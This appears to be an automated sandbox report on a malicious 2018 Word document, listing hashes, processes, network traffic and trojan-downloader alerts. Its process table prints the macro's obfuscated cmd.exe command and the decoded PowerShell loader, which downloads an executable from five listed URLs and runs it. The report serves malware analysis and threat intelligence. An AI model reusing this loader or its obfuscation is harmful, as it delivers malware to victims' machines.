File name: | Untitled-122018_JM9292581-621.doc |
Full analysis: | https://app.any.run/tasks/a28738f9-6342-48c4-bdf4-1c2ea5763746 |
Verdict: | Malicious activity |
Analysis date: | December 18, 2018, 13:57:53 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 11:38:00 2018, Last Saved Time/Date: Tue Dec 18 11:38:00 2018, Number of Pages: 1, Number of Words: 5, Number of Characters: 33, Security: 0 |
MD5: | F9FA8778579009DBFF7EC369C3BFC147 |
SHA1: | 0E1F5B3545B07DDC97482E74D2FBD3EC4DD2E029 |
SHA256: | 686C8B1A51E9C83FA7A33AE7EA3E1DD5FD561B375B91208CAA1121C28E70BCDB |
SSDEEP: | 1536:2hJ81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadnBS77K5U+a9:2X8GhDS0o9zTGOZD6EbzCdB0W |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:12:18 11:38:00 |
ModifyDate: | 2018:12:18 11:38:00 |
Pages: | 1 |
Words: | 5 |
Characters: | 33 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 37 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3344 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Roaming\Untitled-122018_JM9292581-621.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3696 | c:\DzqGLXbD\ZFsJFzdCkd\DWwoWjzwsnY\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 8wR=;'kEP'=SEi$}}{hctac}};kaerb;'Yzl'=KEW$;JQU$ metI-ekovnI{ )00008 eg- htgnel.)JQU$ metI-teG(( fI;'oiC'=ZCc$;)JQU$ ,NGC$(eliFdaolnwoD.wSf${yrt{)wwz$ ni NGC$(hcaerof;'exe.'+fbd$+'\'+pmet:vne$=JQU$;'NCS'=kiE$;'079' = fbd$;'okL'=Nji$;)'@'(tilpS.'hwojizeH1/ua.moc.snaolracog.www//:ptth@T2xMywER/ur.knabmokorp.www//:ptth@h3o0GaM/ur.vslu.www//:ptth@ZRAM9GI/vt.akmap.www//:ptth@hiyBAXTC2I/moc.slairetameniwydnarb.www//:ptth'=wwz$;tneilCbeW.teN tcejbo-wen=wSf$;'BbK'=wVd$ llehsrewop&&for /L %A in (470,-1,0)do set pZQ=!pZQ!!8wR:~%A,1!&&if %A lss 1 call %pZQ:~-471%" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2156 | CmD /V:O/C"set 8wR=;'kEP'=SEi$}}{hctac}};kaerb;'Yzl'=KEW$;JQU$ metI-ekovnI{ )00008 eg- htgnel.)JQU$ metI-teG(( fI;'oiC'=ZCc$;)JQU$ ,NGC$(eliFdaolnwoD.wSf${yrt{)wwz$ ni NGC$(hcaerof;'exe.'+fbd$+'\'+pmet:vne$=JQU$;'NCS'=kiE$;'079' = fbd$;'okL'=Nji$;)'@'(tilpS.'hwojizeH1/ua.moc.snaolracog.www//:ptth@T2xMywER/ur.knabmokorp.www//:ptth@h3o0GaM/ur.vslu.www//:ptth@ZRAM9GI/vt.akmap.www//:ptth@hiyBAXTC2I/moc.slairetameniwydnarb.www//:ptth'=wwz$;tneilCbeW.teN tcejbo-wen=wSf$;'BbK'=wVd$ llehsrewop&&for /L %A in (470,-1,0)do set pZQ=!pZQ!!8wR:~%A,1!&&if %A lss 1 call %pZQ:~-471%" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
900 | powershell $dVw='KbB';$fSw=new-object Net.WebClient;$zww='http://www.brandywinematerials.com/I2CTXAByih@http://www.pamka.tv/IG9MARZ@http://www.ulsv.ru/MaG0o3h@http://www.prokombank.ru/REwyMx2T@http://www.gocarloans.com.au/1Hezijowh'.Split('@');$ijN='Lko';$dbf = '970';$Eik='SCN';$UQJ=$env:temp+'\'+$dbf+'.exe';foreach($CGN in $zww){try{$fSw.DownloadFile($CGN, $UQJ);$cCZ='Cio';If ((Get-Item $UQJ).length -ge 80000) {Invoke-Item $UQJ;$WEK='lzY';break;}}catch{}}$iES='PEk'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3344 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8A93.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3344 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A1040187.wmf | — | |
MD5:— | SHA256:— | |||
3344 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\32D2EC2D.wmf | — | |
MD5:— | SHA256:— | |||
900 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QDZTJO72HIY1N2MB8XAF.temp | — | |
MD5:— | SHA256:— | |||
3344 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EBFEDDDC.wmf | wmf | |
MD5:843A8AE0582C54787C88FFD57F33DB2C | SHA256:0FF24DCC8B3E24692E8D9C44298FEB7D929E5B9C277C0B2B4C096DD926B58538 | |||
3344 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:2BB5D56C1C8FAA7D2252FC4F1C5ACFFC | SHA256:C37FB92108F3355BFCDFDD7A02704571DCA02F1548347E21C3B089F10331CE11 | |||
3344 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\~$titled-122018_JM9292581-621.doc | pgc | |
MD5:1FEA5F17E6BF719197700ED310882FD0 | SHA256:989CD68DDC0F02D3AE09DABF24C6FED4AC2A1769071698BA68EAB8106BE7E40D | |||
900 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
3344 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\91DB3C1E.wmf | wmf | |
MD5:16E2B88B5F4757E34DA97AFA00D33E8C | SHA256:E2B074C12C4F9E86509B84D7617F2ABCF3E1F72D7300244EE3E2BD94EC154080 | |||
900 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF199e69.TMP | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
900 | powershell.exe | GET | 404 | 5.101.152.80:80 | http://www.ulsv.ru/MaG0o3h | RU | xml | 345 b | malicious |
900 | powershell.exe | GET | 404 | 109.199.96.206:80 | http://www.brandywinematerials.com/I2CTXAByih | US | xml | 345 b | malicious |
900 | powershell.exe | GET | 404 | 122.201.97.130:80 | http://www.gocarloans.com.au/1Hezijowh | AU | xml | 345 b | malicious |
900 | powershell.exe | GET | 404 | 92.53.96.14:80 | http://www.prokombank.ru/REwyMx2T | RU | xml | 345 b | malicious |
900 | powershell.exe | GET | 404 | 177.185.192.132:80 | http://www.pamka.tv/IG9MARZ | BR | xml | 345 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
900 | powershell.exe | 109.199.96.206:80 | www.brandywinematerials.com | SingleHop, Inc. | US | malicious |
900 | powershell.exe | 177.185.192.132:80 | www.pamka.tv | IPV6 Internet Ltda | BR | malicious |
900 | powershell.exe | 5.101.152.80:80 | www.ulsv.ru | Beget Ltd | RU | suspicious |
900 | powershell.exe | 92.53.96.14:80 | www.prokombank.ru | TimeWeb Ltd. | RU | suspicious |
900 | powershell.exe | 122.201.97.130:80 | www.gocarloans.com.au | Net Logistics Pty. Ltd. | AU | malicious |
Domain | IP | Reputation |
---|---|---|
www.brandywinematerials.com |
| malicious |
www.pamka.tv |
| malicious |
www.ulsv.ru |
| malicious |
www.prokombank.ru |
| malicious |
www.gocarloans.com.au |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
900 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |